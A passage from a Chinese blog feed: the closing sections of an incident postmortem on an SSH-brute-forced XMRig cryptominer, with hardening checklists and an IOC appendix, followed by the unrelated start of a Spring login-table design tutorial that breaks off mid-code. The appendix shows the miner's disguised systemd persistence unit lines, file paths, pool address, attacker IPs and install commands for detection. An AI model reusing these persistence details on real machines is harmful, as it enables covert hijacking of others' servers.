sshd_config</strong></p><p>这意外，因为很多教程里都有 “改 sshd_config 加个 backdoor 端口” 这种操作。但他们没这么做。</p><p><strong>4. 攻击者没改 PAM</strong></p><p>没有植入 magic password 模块（PAM rootkit 的常见手法是在 <code>/lib/security</code> 加一个会无条件接受某个特殊密码的模块）。</p><p><strong>5. 攻击者没装 LKM rootkit</strong></p><p><code>lsmod</code> 没有奇怪的内核模块。<code>/proc/modules</code> 干净。</p><p><strong>6. 攻击者没动用户的 cron</strong></p><p><code>crontab -l</code> 空，<code>/etc/cron.d/</code> 干净，<code>/etc/cron.{hourly,daily,weekly}/</code> 没有新文件。</p><p><strong>7. 攻击者把自己的工作目录 <code>/home/myuser/xmrig/</code> 自动清理了</strong></p><p>执行完 mv 操作后，源目录被 <code>rm -rf</code> 掉了——脚本最后一步是收尸。<code>find /home/myuser -mmin -180</code> 没有任何今天修改的文件。</p><p><strong>这些&quot;克制&quot;行为说明了什么？</strong></p><p>说明这是个<strong>专业的、长期运营的、追求隐蔽性的僵尸网络部署</strong>。攻击者的目标不是制造混乱、不是窃取信息、不是勒索——而是<strong>长期、不被发现地白嫖 CPU</strong>。每一个额外的&quot;后门&quot;都是被发现的概率，每一处冗余的痕迹都是被追溯的风险。所以他们：</p><ul><li>用 <code>systemd</code> 这种系统级名字伪装，让 ops 一眼扫过去发现不了</li><li>进程参数模仿合理的形式（<code>-c .config.json</code>）</li><li>配置文件用 <code>.config.json</code> 隐藏文件名</li><li>service unit 命名 <code>System Proxy Service</code> / <code>System Observer Service</code></li><li>自动清理工作目录</li><li>不留交互式 shell</li><li>不建后门用户</li></ul><p><strong>简洁就是隐蔽，少做就是安全。</strong> 攻击者比很多运维更懂&quot;工程克制&quot;这件事。</p><p>讽刺的是这种克制反而帮了我——清理变得简单。如果他们留了五个后门、改了 PAM、装了 LKM rootkit、加了 reverse shell crontab，<strong>我可能根本不敢相信清理是&quot;完整&quot;的，最后只能选择重装机器</strong>。但他们没这么做。</p><hr><h2 id="十四、长期防御的行动清单">十四、长期防御的行动清单</h2><p>这次事件之后我列了一份长期清单，分三档：</p><h3 id="已完成（这次处置内）">已完成（这次处置内）</h3><ul><li>[x] 杀掉挖矿进程</li><li>[x] 删除恶意二进制 + 配置 + 看门狗脚本</li><li>[x] 删除恶意 systemd unit + daemon-reload</li><li>[x] 卸载 msr-tools</li><li>[x] 轮换 myuser 密码（虽然之后用不上密码登录了，但旧密码本身已是泄漏 IOC）</li><li>[x] 禁用 root 密码登录</li><li>[x] 启用 PubkeyAuthentication</li><li>[x] 安装 fail2ban + sshd jail</li><li>[x] 禁用密码登录（只剩密钥）</li><li>[x] 三连验证密码 / root 密码 / 密钥登录的预期行为</li></ul><h3 id="强烈建议尽快做（这周内）">强烈建议尽快做（这周内）</h3><ol><li><p><strong>关闭非必要的公网监听端口</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ss -tlnp  <span class="comment"># 看一遍当前所有监听端口</span></span><br></pre></td></tr></table></figure><p>我那台机器上当时还对公网开着 1panel（默认 34721）、几个 docker-proxy 端口（18080/18081/18082/18090/19000/19001/6099）。这些端口<strong>都不应该对公网暴露</strong>。把它们绑到 127.0.0.1，通过 nginx 反代或 SSH tunnel 访问。</p></li><li><p><strong>给 1panel 这类管理面板加 IP 白名单</strong><br>1panel 默认端口 34721 是公开信息，全互联网每天有大量扫描器探测这个端口。即使有强密码，零日漏洞也能让你直接被拿下。</p></li><li><p><strong>MySQL / Redis / MinIO 不要对公网开放</strong><br>这些服务的认证机制比 SSH 弱得多（尤其是 Redis 默认无密码），公网暴露 = 灾难。绑 127.0.0.1 + 内网或 SSH tunnel。</p></li><li><p><strong>磁盘清理</strong><br>我的 <code>/</code> 当时已经 81%，距离磁盘满还有不到 10G。一旦磁盘满，OOM 和文件系统错误会让排查变得极其复杂。该清理 docker image、journald 历史、apt cache。</p></li></ol><h3 id="长期建设（下个月内）">长期建设（下个月内）</h3><ol><li><p><strong>接 <a href="https://tailscale.com/">Tailscale</a> 或 <a href="https://www.wireguard.com/">WireGuard</a></strong><br>把所有&quot;管理类&quot;端口（SSH、1panel、数据库连接等）全部移到内网，公网完全关闭 22。这样连 fail2ban 都不需要——没有口子可爆破。</p></li><li><p><strong>接监控告警</strong><br><a href="https://github.com/prometheus/node_exporter">Prometheus node_exporter</a> + <a href="https://grafana.com/">Grafana</a> + alertmanager。当 load average 超过阈值、fail2ban 封禁数超过阈值、磁盘使用率超过 80% 时发企业微信/Slack 告警。这次能及时发现是因为我刚好登上去看 top，下次未必这么巧。</p></li><li><p><strong>用 <a href="https://man7.org/linux/man-pages/man8/auditd.8.html">auditd</a> 记录关键文件的修改</strong><br>配置规则监控 <code>/etc/systemd/system/</code>、<code>/usr/local/bin/</code>、<code>/etc/cron.*/</code>、<code>/root/.ssh/</code>、<code>/etc/passwd</code> 等敏感路径。任何写入都生成 audit 事件，再用 <a href="https://www.elastic.co/beats/auditbeat">auditbeat</a> 转发到 ELK 做检索和告警。</p></li><li><p><strong>定期跑 <a href="https://cisofy.com/lynis/">Lynis</a> 做安全基线扫描</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install lynis</span><br><span class="line"><span class="built_in">sudo</span> lynis audit system</span><br></pre></td></tr></table></figure><p>它会给出一个安全评分（hardening index）和 100+ 条改进建议。每月跑一次，把分数推到 80+。</p></li></ol><hr><h2 id="十五、给同样在租-VPS-跑业务的开发者">十五、给同样在租 VPS 跑业务的开发者</h2><p>如果你和当时的我一样——租了一台 VPS，跑着业务，SSH 默认配置，密码不算太弱但也不算强——我给你三条铁律：</p><h3 id="铁律-1：第一次登入立刻禁密码登录">铁律 1：第一次登入立刻禁密码登录</h3><p>不是过两天、不是等空了、不是&quot;先看看再说&quot;。第一次 ssh 进新机器后做的第一件事就是：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">ssh-copy-id user@new-vps   <span class="comment"># 推公钥</span></span><br><span class="line">ssh user@new-vps           <span class="comment"># 验证密钥能登</span></span><br><span class="line"><span class="built_in">sudo</span> sed -i <span class="string">&#x27;s/^#\?PasswordAuthentication.*/PasswordAuthentication no/&#x27;</span> /etc/ssh/sshd_config</span><br><span class="line"><span class="built_in">sudo</span> systemctl reload ssh  <span class="comment"># 永久关闭密码登录</span></span><br></pre></td></tr></table></figure><p>四条命令，5 分钟。任何理由都不能跳过。</p><h3 id="铁律-2：第一次登入立刻装-fail2ban">铁律 2：第一次登入立刻装 fail2ban</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install -y fail2ban</span><br><span class="line"><span class="built_in">sudo</span> systemctl <span class="built_in">enable</span> --now fail2ban</span><br></pre></td></tr></table></figure><p>即使你已经禁了密码，fail2ban 仍然有用——它能挡住对其他端口的扫描和爆破（比如你后来自己加的服务），减少日志噪音，对自动化攻击形成额外屏障。</p><h3 id="铁律-3：第一次登入立刻关掉非必要端口">铁律 3：第一次登入立刻关掉非必要端口</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ss -tlnp | grep 0.0.0.0</span><br></pre></td></tr></table></figure><p>每一个 <code>0.0.0.0:&lt;port&gt;</code> 都是潜在攻击面。问自己每一个：“这个端口必须对公网开放吗？” 99% 的服务（数据库、缓存、对象存储、管理面板）的回答都是 No。</p><hr><h2 id="十六、一些更深层的反思">十六、一些更深层的反思</h2><p>写到这里 1 万字了，最后说点没那么技术的东西。</p><h3 id="关于-我的服务又不重要">关于&quot;我的服务又不重要&quot;</h3><p>很多人（包括我以前）会说：“服务又没什么数据，就算被打了大不了重装。” 这次事件之后我修正了这个想法。</p><p>被入侵的成本不只是数据——还有：</p><ul><li><strong>CPU 资源被白嫖</strong>：8 核 CPU 跑满 53 分钟，按云厂商计费规则等于多花了几块钱电费</li><li><strong>网络带宽</strong>：挖矿是高交互的，每秒都在和矿池通信，吃带宽</li><li><strong>业务影响</strong>：虽然 free_proc.sh 没误杀我的业务，但 CPU 100% 之后所有服务响应都变慢了。如果用户那时候在用 OpenWebUI，体验会很糟</li><li><strong>隐性背书</strong>：你的 IP 被加入了僵尸网络的&quot;已破解列表&quot;，攻击者可能再次回访，下次可能就不是挖矿这种&quot;温和&quot;的负载了</li><li><strong>法律暴露</strong>（少见但存在）：你的 IP 在挖矿期间产生了到 Kryptex 的网络流量。如果某地立法把&quot;协助加密货币挖矿&quot;定义为违法，这台机器可能成为证据</li><li><strong>运维心智负担</strong>：从此每次看 top 都会下意识地查一眼有没有可疑进程，这是一种持续的认知税</li></ul><h3 id="关于-安全-vs-便利-的伪二元">关于&quot;安全 vs 便利&quot;的伪二元</h3><p>我以前觉得&quot;安全&quot;是和&quot;便利&quot;冲突的——禁密码登录意味着每次登服务器都要带着 .ssh/id_ed25519 这个文件，万一换了机器就麻烦。</p><p>现在我觉得这是个伪二元。</p><p>密钥文件本来就该用 <a href="https://www.ssh.com/academy/ssh/agent">agent forwarding</a> 或者云端密码管理器（<a href="https://developer.1password.com/docs/ssh/">1Password SSH agent</a> 是个非常优雅的方案）。配好之后，<strong>密钥比密码更便利</strong>——不用记、不用输、不会撞库、可以分别授权（每台机器一把不同的密钥）、可以快速吊销（从 authorized_keys 删一行就完事）。</p><p>这次事件让我把&quot;换机器要带 .ssh&quot;这个过去当成&quot;麻烦&quot;的事情，重新认识为&quot;我对自己秘密的物理控制权&quot;。这是好事，不是坏事。</p><h3 id="关于-如何看待运维">关于&quot;如何看待运维&quot;</h3><p>写到最后忍不住吐槽一下：很多开发者把运维当成&quot;懂 Linux 命令的工种&quot;，以为运维不需要技术深度——这次事件让我重新尊重这个领域。</p><p>要在 30 分钟内做完 “看到 load 9.58 → 锁定挖矿木马 → 还原入侵时间线 → 清理所有 IOC → 禁用密码登录 → 装 fail2ban → 验证三连”，需要的知识涉及：</p><ul><li>Linux /proc 文件系统设计哲学</li><li>systemd unit 模型 + journalctl 高级过滤</li><li>ELF 二进制结构 + sha256 + ldd</li><li>XMRig + RandomX + 加密货币矿池协议</li><li>sshd_config 全部安全相关选项</li><li>iptables / nftables + fail2ban 集成</li><li>/etc/sudoers + PAM 认证链</li><li>Ubuntu/Debian apt 包管理</li><li>进程 / 线程 / cgroup 调度模型</li><li>几十个 GNU coreutils + ps/awk/sed 高阶用法</li><li>Bash 脚本里 sudo + heredoc + stdin 管道的微妙交互</li></ul><p>这还只是这次事件涉及到的子集。一个合格的运维要在所有这些维度上有&quot;够用即停&quot;的深度，并且能在压力下组合调度——这本身就是一种很高的认知能力。</p><h3 id="致谢">致谢</h3><p>感谢 <a href="https://www.anthropic.com/claude-code">Claude Code</a> 的 ssh-mcp 工具，让我能在和 AI 对话的同时把诊断和处置流程一气呵成；感谢 <a href="https://github.com/xmrig/xmrig">XMRig 项目</a> 的开源代码（讽刺地），它的 <a href="https://xmrig.com/docs/miner/config">config.json schema 文档</a> 让我能秒读出攻击者的优化策略；感谢 <a href="https://github.com/fail2ban/fail2ban">fail2ban 团队</a> 维护一个用了十多年还在持续更新的优秀工具。</p><p>最后感谢这次事件本身——它让我以最小的代价（53 分钟的算力 + 一点电费）学到了一堂值大几千块的安全实战课。</p><p>如果你看到这里，希望对你也有帮助。</p><hr><h2 id="附录：本次事件的-IOC-清单（供他人对照排查）">附录：本次事件的 IOC 清单（供他人对照排查）</h2><p>如果你也怀疑自己被同一个/同类的僵尸网络打穿，可以对照下面的 IOC 检查：</p><p><strong>文件路径：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">/usr/local/bin/systemd          # XMRig 二进制（被改名）</span><br><span class="line">/usr/local/bin/.config.json     # XMRig 配置</span><br><span class="line">/usr/local/bin/.bench.log       # XMRig benchmark 日志</span><br><span class="line">/usr/local/bin/free_proc.sh     # 排挤其他矿工的脚本</span><br><span class="line">/etc/systemd/system/systemd.service    # 持久化 unit（启动器）</span><br><span class="line">/etc/systemd/system/observed.service   # 持久化 unit（看门狗）</span><br></pre></td></tr></table></figure><p><strong>systemd unit 特征：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Description=System Proxy Service     # 启动 systemd 二进制</span><br><span class="line">Description=System Observer Service  # 启动 free_proc.sh</span><br><span class="line">ExecStart=systemd -c .config.json</span><br><span class="line">ExecStart=/bin/sh free_proc.sh</span><br><span class="line">WorkingDirectory=/usr/local/bin</span><br><span class="line">Restart=always</span><br><span class="line">RestartSec=30</span><br></pre></td></tr></table></figure><p><strong>XMRig 二进制特征：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">SHA256: baca0922a6ce82f250d15c7b71a209f0ba60274ff7e9654338900020a36de6c4</span><br><span class="line">File:   ELF 64-bit LSB executable, x86-64, statically linked, no section header</span><br><span class="line">Size:   3149464 字节</span><br></pre></td></tr></table></figure><p><strong>矿池：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xmr.kryptex.network:8029    # 算法 rx/0</span><br></pre></td></tr></table></figure><p><strong>典型攻击源 IP（保加利亚 + 伊朗 + 美国 VPS）：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">92.118.39.195    # 持续 root 爆破</span><br><span class="line">92.118.39.197    # 持续 root 爆破</span><br><span class="line">2.57.122.190     # OVH 保加利亚 root 爆破</span><br><span class="line">2.57.122.191     # OVH 保加利亚 root 爆破</span><br><span class="line">2.57.122.193     # OVH 保加利亚 root 爆破</span><br><span class="line">87.121.84.58     # 大量字典用户名扫描（aadi、aadi-am、testuser 等）</span><br><span class="line">45.148.10.141    # root 爆破</span><br><span class="line">45.148.10.147    # root 爆破</span><br><span class="line">45.148.10.152    # root 爆破</span><br><span class="line">193.24.211.95    # testuser 字典扫描</span><br><span class="line">213.209.159.159  # kalob 等罕见用户名扫描</span><br><span class="line">154.51.62.34     # **挖矿部署节点**（爆破成功后真正落地的 IP）</span><br></pre></td></tr></table></figure><p>注意 <code>154.51.62.34</code> 是部署节点，不会做爆破——它只在前面那一堆扫描器把账号 / 密码 / 目标 IP 喂给它之后，才会用现成凭证连过来部署木马。所以在 fail2ban 日志里看不到它的失败记录，但它是真正&quot;动手&quot;的那只手。</p><p><strong>入侵时间窗口（大约模板）：</strong></p><p>任何一台机器在某个时刻收到大量来自上述 IP 的 SSH 失败请求，<strong>之后 30 分钟内某个非 root 普通用户在 sudo 日志里出现连续的 <code>apt-get install msr-tools</code> + <code>mv xmrig/* /usr/local/bin/</code> 指令组合</strong>——基本可以确认是同一类入侵。</p></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/26326.html</id>
    <link href="https://blog.prorisehub.com/posts/26326.html"/>
    <published>2026-04-27T02:12:45.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h1>当我的服务器 CPU 跑满 750%：一次门罗币挖矿木马的完整取证与处置复盘</h1>
<blockquote>
<p>写于 2026-04-27 晚，事发当日。本文复盘了一次典型的 SSH]]>
    </summary>
    <title>记一次被XMRig 挖矿的真实维修全路 挖矿木马的完整取证与处置复盘</title>
    <updated>2026-05-07T03:10:51.061Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="后端技术" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/"/>
    <category term="Java" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/Java/"/>
    <category term="Spring系列" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/Java/Spring%E7%B3%BB%E5%88%97/"/>
    <category term="登录注册系列" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/Java/Spring%E7%B3%BB%E5%88%97/%E7%99%BB%E5%BD%95%E6%B3%A8%E5%86%8C%E7%B3%BB%E5%88%97/"/>
    <category term="Spring生态篇" scheme="https://blog.prorisehub.com/tags/Spring%E7%94%9F%E6%80%81%E7%AF%87/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h1>Note 19.3. 账号密码登录:领域模型设计与完整实现</h1><blockquote><p>重要说明:本章是在 <strong>19.2 已搭建完成的 <code>auth-factory-demo</code> 单模块工程</strong>基础上继续扩展的(包含 <code>AuthType</code>、<code>AuthRequest</code> 多态、<code>AuthStrategyFactory</code>、Sa-Token 等骨架)。因此,本章会严格沿用 19.2 的包名与目录结构,只新增“领域模型 + 持久层 + 账号密码真实实现”,确保代码可以无缝接上去。</p></blockquote><hr><h2 id="19-3-1-传统设计的弊端-单表走天下">19.3.1. 传统设计的弊端:单表走天下</h2><p>在理解现代化的数据建模方案之前,我们需要先理解传统设计的问题。</p><h3 id="单表设计的典型案例">单表设计的典型案例</h3><p>很多初学者在设计用户表时,会采用这种 “看似合理” 的结构:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> sys_user (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">    username <span class="type">VARCHAR</span>(<span class="number">50</span>) COMMENT <span class="string">&#x27;账号&#x27;</span>,</span><br><span class="line">    password <span class="type">VARCHAR</span>(<span class="number">100</span>) COMMENT <span class="string">&#x27;密码哈希&#x27;</span>,</span><br><span class="line">    mobile <span class="type">VARCHAR</span>(<span class="number">11</span>) COMMENT <span class="string">&#x27;手机号&#x27;</span>,</span><br><span class="line">    email <span class="type">VARCHAR</span>(<span class="number">100</span>) COMMENT <span class="string">&#x27;邮箱&#x27;</span>,</span><br><span class="line">    wechat_openid <span class="type">VARCHAR</span>(<span class="number">64</span>) COMMENT <span class="string">&#x27;微信 OpenID&#x27;</span>,</span><br><span class="line">    github_id <span class="type">VARCHAR</span>(<span class="number">50</span>) COMMENT <span class="string">&#x27;GitHub ID&#x27;</span>,</span><br><span class="line">    nickname <span class="type">VARCHAR</span>(<span class="number">50</span>) COMMENT <span class="string">&#x27;昵称&#x27;</span>,</span><br><span class="line">    avatar <span class="type">VARCHAR</span>(<span class="number">255</span>) COMMENT <span class="string">&#x27;头像&#x27;</span>,</span><br><span class="line">    status TINYINT <span class="keyword">DEFAULT</span> <span class="number">1</span> COMMENT <span class="string">&#x27;状态:0-禁用 1-启用&#x27;</span>,</span><br><span class="line">    create_time DATETIME <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span>,</span><br><span class="line">    update_time DATETIME <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span> <span class="keyword">ON</span> <span class="keyword">UPDATE</span> <span class="built_in">CURRENT_TIMESTAMP</span></span><br><span class="line">) ENGINE<span class="operator">=</span>InnoDB <span class="keyword">DEFAULT</span> CHARSET<span class="operator">=</span>utf8mb4 COMMENT<span class="operator">=</span><span class="string">&#x27;用户表&#x27;</span>;</span><br></pre></td></tr></table></figure><p><strong>这种设计在业务初期看起来没问题</strong>:</p><ul><li>所有用户信息都在一张表里,查询方便</li><li>不需要关联查询,性能好</li><li>表结构简单,易于理解</li></ul><p>但随着业务发展,这种设计会陷入三个典型陷阱。</p><hr><h3 id="陷阱一-字段爆炸">陷阱一:字段爆炸</h3><p>当需要支持新的登录方式时(如支付宝、抖音、企业微信),你会不断添加新列:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 第一次迭代:支持支付宝登录</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> sys_user <span class="keyword">ADD</span> <span class="keyword">COLUMN</span> alipay_uid <span class="type">VARCHAR</span>(<span class="number">50</span>) COMMENT <span class="string">&#x27;支付宝 UID&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 第二次迭代:支持抖音登录</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> sys_user <span class="keyword">ADD</span> <span class="keyword">COLUMN</span> douyin_openid <span class="type">VARCHAR</span>(<span class="number">64</span>) COMMENT <span class="string">&#x27;抖音 OpenID&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 第三次迭代:支持企业微信登录</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> sys_user <span class="keyword">ADD</span> <span class="keyword">COLUMN</span> work_wechat_userid <span class="type">VARCHAR</span>(<span class="number">50</span>) COMMENT <span class="string">&#x27;企业微信 UserID&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 第四次迭代:支持 Apple 登录</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> sys_user <span class="keyword">ADD</span> <span class="keyword">COLUMN</span> apple_id <span class="type">VARCHAR</span>(<span class="number">100</span>) COMMENT <span class="string">&#x27;Apple ID&#x27;</span>;</span><br></pre></td></tr></table></figure><p><strong>最终表结构变成了一个 “万金油” 表</strong>,包含几十个字段,其中大部分字段对于单个用户来说都是 <code>NULL</code>。</p><p><strong>数据示例</strong>:</p><table><thead><tr><th style="text-align:left">id</th><th style="text-align:left">username</th><th style="text-align:left">password</th><th style="text-align:left">mobile</th><th style="text-align:left">email</th><th style="text-align:left">wechat_openid</th><th style="text-align:left">github_id</th><th style="text-align:left">alipay_uid</th><th style="text-align:left">douyin_openid</th><th style="text-align:left">…</th></tr></thead><tbody><tr><td style="text-align:left">1</td><td style="text-align:left">admin</td><td style="text-align:left">$2a$ 10…</td><td style="text-align:left">13812345678</td><td style="text-align:left">NULL</td><td style="text-align:left">NULL</td><td style="text-align:left">NULL</td><td style="text-align:left">NULL</td><td style="text-align:left">NULL</td><td style="text-align:left">…</td></tr><tr><td style="text-align:left">2</td><td style="text-align:left">NULL</td><td style="text-align:left">NULL</td><td style="text-align:left">NULL</td><td style="text-align:left"><a href="mailto:user@example.com">user@example.com</a></td><td style="text-align:left">oX4Gt5k…</td><td style="text-align:left">NULL</td><td style="text-align:left">NULL</td><td style="text-align:left">NULL</td><td style="text-align:left">…</td></tr><tr><td style="text-align:left">3</td><td style="text-align:left">NULL</td><td style="text-align:left">NULL</td><td style="text-align:left">NULL</td><td style="text-align:left">NULL</td><td style="text-align:left">NULL</td><td style="text-align:left">12345678</td><td style="text-align:left">NULL</td><td style="text-align:left">NULL</td><td style="text-align:left">…</td></tr></tbody></table><p><strong>问题分析</strong>:</p><ul><li>❌ 每个用户只使用 1-2 种登录方式,但表中有 10+ 个登录字段</li><li>❌ 大量 <code>NULL</code> 值浪费存储空间</li><li>❌ 每次新增登录方式都需要执行 <code>ALTER TABLE</code>,在大表上非常危险</li></ul><hr><h3 id="陷阱二-索引混乱">陷阱二:索引混乱</h3><p>为了支持 “通过手机号登录”、“通过微信 OpenID 登录”,你需要为每个登录字段建立唯一索引:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> <span class="keyword">UNIQUE</span> INDEX idx_username <span class="keyword">ON</span> sys_user(username);</span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">UNIQUE</span> INDEX idx_mobile <span class="keyword">ON</span> sys_user(mobile);</span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">UNIQUE</span> INDEX idx_email <span class="keyword">ON</span> sys_user(email);</span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">UNIQUE</span> INDEX idx_wechat_openid <span class="keyword">ON</span> sys_user(wechat_openid);</span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">UNIQUE</span> INDEX idx_github_id <span class="keyword">ON</span> sys_user(github_id);</span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">UNIQUE</span> INDEX idx_alipay_uid <span class="keyword">ON</span> sys_user(alipay_uid);</span><br><span class="line"><span class="comment">-- ... 更多索引</span></span><br></pre></td></tr></table></figure><p><strong>但这些索引会遇到 <code>NULL</code> 值问题</strong>:</p><p>MySQL 的唯一索引允许多个 <code>NULL</code> 值。例如:</p><ul><li>用户 A 只用微信登录,<code>mobile</code> 字段是 <code>NULL</code></li><li>用户 B 也只用微信登录,<code>mobile</code> 字段也是 <code>NULL</code></li><li>这两个 <code>NULL</code> 值不会触发唯一性冲突</li></ul><p><strong>看起来没问题,但实际上存在隐患</strong>:</p><p>假设用户 A 后来绑定了手机号 <code>13812345678</code>,用户 B 也想绑定同一个手机号。此时:</p><ul><li>如果用户 B 的 <code>mobile</code> 字段是 <code>NULL</code>,绑定会成功(因为 <code>NULL</code> 不参与唯一性检查)</li><li>但如果用户 B 的 <code>mobile</code> 字段已经有值,绑定会失败</li></ul><p><strong>这种不一致的行为会导致严重的业务 Bug</strong>。</p><p><strong>索引膨胀问题</strong>:</p><p>每个唯一索引都会占用存储空间,并且会降低写入性能。当表中有 10+ 个唯一索引时:</p><ul><li>每次 <code>INSERT</code> 都需要检查 10+ 个索引</li><li>每次 <code>UPDATE</code> 都需要更新 10+ 个索引</li><li>索引文件可能比数据文件还大</li></ul><hr><h3 id="陷阱三-查询复杂">陷阱三:查询复杂</h3><p>当用户登录时,你需要根据登录类型执行不同的 SQL:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 账号密码登录</span></span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userMapper.selectOne(<span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;User&gt;()</span><br><span class="line">    .eq(User::getUsername, username));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 手机号登录</span></span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userMapper.selectOne(<span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;User&gt;()</span><br><span class="line">    .eq(User::getMobile, mobile));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 微信登录</span></span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userMapper.selectOne(<span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;User&gt;()</span><br><span class="line">    .eq(User::getWechatOpenid, openid));</span><br><span class="line"></span><br><span class="line"><span class="comment">// GitHub 登录</span></span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userMapper.selectOne(<span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;User&gt;()</span><br><span class="line">    .eq(User::getGithubId, githubId));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 支付宝登录</span></span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userMapper.selectOne(<span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;User&gt;()</span><br><span class="line">    .eq(User::getAlipayUid, alipayUid));</span><br></pre></td></tr></table></figure><p><strong>代码中充满了 <code>if-else</code> 分支</strong>:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> User <span class="title 